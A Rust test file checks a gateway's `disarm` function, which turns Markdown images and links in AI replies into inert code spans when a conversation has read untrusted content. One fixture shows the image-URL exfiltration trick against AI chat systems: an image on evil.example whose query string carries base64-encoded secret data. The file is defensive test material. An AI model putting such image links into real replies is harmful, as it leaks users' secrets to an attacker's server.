Files

432 lines
13 KiB
Rust

//! `links::disarm` on each form of image and link, clean and untrusted, and on code that must be
//! left as it is (M5b spec, section 9; the plan's review focus 4). Do not edit.
use gatewayd::links::{NOTICE, disarm};
/// (case, input, clean reply, untrusted reply, whether the untrusted reply had a link disarmed).
type Case = (&'static str, &'static str, &'static str, &'static str, bool);
const IMAGES: &[Case] = &[
(
"inline image",
"An image ![alt](https://e.example/x.png) here.",
"An image `![alt](https://e.example/x.png)` here.",
"An image `![alt](https://e.example/x.png)` here.",
false,
),
(
"image with a size",
"![alt](https://e.example/x.png =50x76)",
"`![alt](https://e.example/x.png =50x76)`",
"`![alt](https://e.example/x.png =50x76)`",
false,
),
(
"image with a width and a title",
"![alt](https://e.example/x.png =50 \"Hover\")",
"`![alt](https://e.example/x.png =50 \"Hover\")`",
"`![alt](https://e.example/x.png =50 \"Hover\")`",
false,
),
(
"reference image and its definition",
"![alt][logo]\n\n[logo]: https://e.example/l.png",
"`![alt][logo]`\n\n[logo]: https://e.example/l.png",
"`![alt][logo]`\n\n`[logo]: https://e.example/l.png`",
true,
),
(
"collapsed and shortcut reference images",
"![logo][] and ![logo]",
"`![logo][]` and `![logo]`",
"`![logo][]` and `![logo]`",
false,
),
(
"reference image with a space before its label",
"![alt] [logo] end",
"`![alt] [logo]` end",
"`![alt] [logo]` end",
false,
),
(
"data in an image URL (T37)",
"Done. ![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)",
"Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`",
"Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`",
false,
),
(
"image glued to text, non-ASCII too",
"A![x](https://e.example/a)B 字![图](https://e.example/b)字",
"A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字",
"A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字",
false,
),
(
"image alt over two lines",
"![a\nb](https://e.example/x)",
"`![a`\n`b](https://e.example/x)`",
"`![a`\n`b](https://e.example/x)`",
false,
),
(
"image alt with a pipe",
"![a|b](https://e.example/x)",
"`![a`| `b](https://e.example/x)`",
"`![a`| `b](https://e.example/x)`",
false,
),
(
"image inside a link",
"[![img](https://a.example/i.png)](https://b.example)",
"`[![img](https://a.example/i.png)](https://b.example)`",
"`[![img](https://a.example/i.png)](https://b.example)`",
true,
),
(
"image inside brackets that are no link",
"[![a](https://e.example/a)]",
"\\[ `![a](https://e.example/a)`]",
"\\[ `![a](https://e.example/a)`]",
false,
),
(
"no bracket closes the alt",
"![alt(https://e.example/x.png)",
"`![`alt(https://e.example/x.png)",
"`![`alt( `https://e.example/x.png`)",
true,
),
(
"escaped exclamation mark",
"\\![x](https://e.example/a)",
"\\![x](https://e.example/a)",
"\\! `[x](https://e.example/a)`",
true,
),
(
"escaped backslash, then an image",
"\\\\![x](https://e.example/a)",
"\\\\ `![x](https://e.example/a)`",
"\\\\ `![x](https://e.example/a)`",
false,
),
];
const LINKS: &[Case] = &[
(
"plain URL, its full stop left out",
"See https://example.com/a.",
"See https://example.com/a.",
"See `https://example.com/a`.",
true,
),
(
"autolink",
"<https://example.com/a>",
"<https://example.com/a>",
"`<https://example.com/a>`",
true,
),
(
"email autolink",
"Write to <owner@example.com>.",
"Write to <owner@example.com>.",
"Write to `<owner@example.com>`.",
true,
),
(
"Markdown link with a title",
"[the docs](https://docs.example/p \"Title\")",
"[the docs](https://docs.example/p \"Title\")",
"`[the docs](https://docs.example/p \"Title\")`",
true,
),
(
"reference link and its definition",
"[docs][d]\n\n[d]: https://docs.example/p",
"[docs][d]\n\n[d]: https://docs.example/p",
"`[docs][d]`\n\n`[d]: https://docs.example/p`",
true,
),
(
"relative link",
"[home](/channels/town)",
"[home](/channels/town)",
"`[home](/channels/town)`",
true,
),
(
"www without a scheme",
"at www.example.com today",
"at www.example.com today",
"at `www.example.com` today",
true,
),
(
"domain and path without a scheme",
"example.org/path and example.org",
"example.org/path and example.org",
"`example.org/path` and example.org",
true,
),
(
"schemes without slashes",
"mailto:owner@example.com or tel:5551234",
"mailto:owner@example.com or tel:5551234",
"`mailto:owner@example.com` or `tel:5551234`",
true,
),
(
"prose with colons",
"Note: a ratio of 3:2 and key:value",
"Note: a ratio of 3:2 and key:value",
"Note: a ratio of 3:2 and `key:value`",
true,
),
(
"URL with parentheses, inside parentheses",
"(see https://en.example/wiki/Rust_(language))",
"(see https://en.example/wiki/Rust_(language))",
"(see `https://en.example/wiki/Rust_(language)`)",
true,
),
(
"URL up to a backtick",
"https://x.example/a`b",
"https://x.example/a`b",
"``https://x.example/a`` `b",
true,
),
(
"non-ASCII URL and text",
"Привет, мир: https://пример.рф/путь и всё.",
"Привет, мир: https://пример.рф/путь и всё.",
"Привет, мир: `https://пример.рф/путь` и всё.",
true,
),
(
"two links on a line",
"[a](https://a.example) or https://b.example/x?y=1",
"[a](https://a.example) or https://b.example/x?y=1",
"`[a](https://a.example)` or `https://b.example/x?y=1`",
true,
),
(
"angle brackets around a space are no autolink",
"<a b:c>",
"<a b:c>",
"<a `b:c`>",
true,
),
(
"a scheme inside a word is no URL",
"1http://x.example/p",
"1http://x.example/p",
"1http://x.example/p",
false,
),
(
"a last part of five letters is no domain",
"x.abcde/p and x.abcd/p",
"x.abcde/p and x.abcd/p",
"x.abcde/p and `x.abcd/p`",
true,
),
(
"www with digits",
"www2.example.com",
"www2.example.com",
"`www2.example.com`",
true,
),
(
"brackets and angle brackets that are no link",
"[not a link] and <foo> and a < b",
"[not a link] and <foo> and a < b",
"[not a link] and <foo> and a < b",
false,
),
(
"definition padded with spaces, ending in a backtick",
" [x]: https://e.example/`",
" [x]: https://e.example/`",
"`` [x]: https://e.example/``\\`",
true,
),
(
"a definition needs a label",
"[]: https://e.example/x",
"[]: https://e.example/x",
"[]: `https://e.example/x`",
true,
),
(
"a definition only at the start of a line",
"text [x]: https://e.example",
"text [x]: https://e.example",
"text [x]: `https://e.example`",
true,
),
];
const CODE: &[Case] = &[
(
"code spans",
"Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
"Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
"Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
false,
),
(
"fenced block",
"Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
"Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
"Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
false,
),
(
"tilde fence, and a longer fence holding a shorter one",
"~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
"~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
"~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
false,
),
(
"span with a backtick inside",
"``a ` https://x.example`` and ``![i](https://e.example/a)``",
"``a ` https://x.example`` and ``![i](https://e.example/a)``",
"``a ` https://x.example`` and ``![i](https://e.example/a)``",
false,
),
(
"link text in code",
"[`code`](https://d.example)",
"[`code`](https://d.example)",
"``[``\\` ``code``\\` ``](https://d.example)``",
true,
),
(
"code in code, and a link beside it",
"`https://a.example` https://b.example",
"`https://a.example` https://b.example",
"`https://a.example` ``https://b.example``",
true,
),
];
const TICKS: &[Case] = &[
(
"runs longer than any in the reply",
"``x`` then https://y.example and ![i](https://e.example/a)",
"``x`` then https://y.example and ```![i](https://e.example/a)```",
"``x`` then ```https://y.example``` and ```![i](https://e.example/a)```",
true,
),
(
"a fence counts",
"```\ncode\n```\nhttps://y.example",
"```\ncode\n```\nhttps://y.example",
"```\ncode\n```\n````https://y.example````",
true,
),
(
"backticks inside the image go between spans, escaped",
"![a`b](https://e.example/`q`)",
"``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``",
"``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``",
false,
),
(
"a backtick right after the image",
"x ![a](https://e.example/a)`y`",
"x ``![a](https://e.example/a)`` `y`",
"x ``![a](https://e.example/a)`` `y`",
false,
),
(
"a lone backtick right before the image",
"`![a](https://e.example/a)",
"` ``![a](https://e.example/a)``",
"` ``![a](https://e.example/a)``",
false,
),
];
fn check(table: &[Case]) {
for &(case, input, clean, untrusted, links) in table {
let got = disarm(input, false);
assert_eq!(got.text, clean, "{case}: clean");
assert!(!got.links, "{case}: a clean reply never has links disarmed");
let got = disarm(input, true);
assert_eq!(got.text, untrusted, "{case}: untrusted");
assert_eq!(got.links, links, "{case}: links");
}
}
#[test]
fn images_are_code_in_every_reply() {
check(IMAGES);
}
#[test]
fn links_are_code_only_when_untrusted() {
check(LINKS);
}
#[test]
fn code_is_left_as_it_is() {
check(CODE);
}
#[test]
fn new_spans_use_a_longer_run_and_never_touch_a_backtick() {
check(TICKS);
}
#[test]
fn disarming_twice_changes_nothing() {
for table in [IMAGES, LINKS, CODE, TICKS] {
for &(case, input, ..) in table {
for untrusted in [false, true] {
let once = disarm(input, untrusted).text;
let twice = disarm(&once, untrusted);
assert_eq!(twice.text, once, "{case}: untrusted {untrusted}");
assert!(
!twice.links,
"{case}: untrusted {untrusted}: nothing left to disarm"
);
}
}
}
}
#[test]
fn text_without_images_or_links_is_unchanged() {
for text in [
"",
"Plain words.",
"Ünïcödé, 日本語, emoji 🦀, and a tab\there.",
"Lines\n\nwith\r\nbreaks\rof\u{2424}every kind\n",
"A list:\n- one\n- two\n\n> a quote\n\n# A heading",
"Emphasis: *a*, **b**, _c_, ~~d~~ and a table:\n| a | b |\n|---|---|\n| 1 | 2 |",
"Paths: crates/gatewayd/src/links.rs, ../x.txt, C:\\temp and std::io",
] {
for untrusted in [false, true] {
let got = disarm(text, untrusted);
assert_eq!(got.text, text, "untrusted {untrusted}");
assert!(!got.links);
}
}
}
#[test]
fn the_notice_is_one_line() {
assert_eq!(
NOTICE,
"Links in this reply are shown as code because this conversation has read untrusted content."
);
assert!(!NOTICE.contains('\n'));
}